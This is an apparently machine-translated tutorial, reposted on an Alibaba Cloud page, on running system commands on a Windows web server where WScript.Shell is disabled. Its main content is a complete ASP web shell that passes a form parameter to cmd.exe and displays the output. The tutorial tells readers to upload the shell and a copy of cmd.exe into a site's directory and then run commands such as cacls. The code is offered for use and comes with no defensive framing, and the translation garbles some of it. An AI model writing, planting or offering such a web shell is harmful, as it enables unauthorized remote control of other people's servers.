Wscript. shell disabled, Execute Command

Source: Internet
Author: User

If wscript.shellis closed, the command cannot be run by uploading cmd.exe to it. An error occurs during running.
To run the command, try the following method:

Copy the following code:
<Object runat = server id = oScriptlhn scope = page classid = "clsid: 72c24dd5-d70a-438b-8a42-98417b88afb8"> </object>
<% If err then %>
<Object runat = server id = oScriptlhn scope = page classid = "clsid: F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"> </object>
<%
End if
Response. write ("<textarea readonly cols = 80 rows = 20> ")
On Error Resume Next
Response. write oScriptlhn.exe c ("cmd.exe/c" & request ("c"). stdout. readall
Response. write ("</textarea> ")
Response. write ("<form method = post> ")
Response. write ("<input type = text name = c size = 60> <br> ")
Response. write ("<input type = submit value = Execution> </form> ")
%>

Save it as an ASP file and then upload it to the website directory. Try again and upload "cmd.exe" and write the path to the above Code.
Then you can run commands such as cacls.

If some code execution is restricted, the above method also reports an error.

Html> http://hi.baidu.com/xiaosei/blog/item/32c0c1946fbaee41d0135e9c.html

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.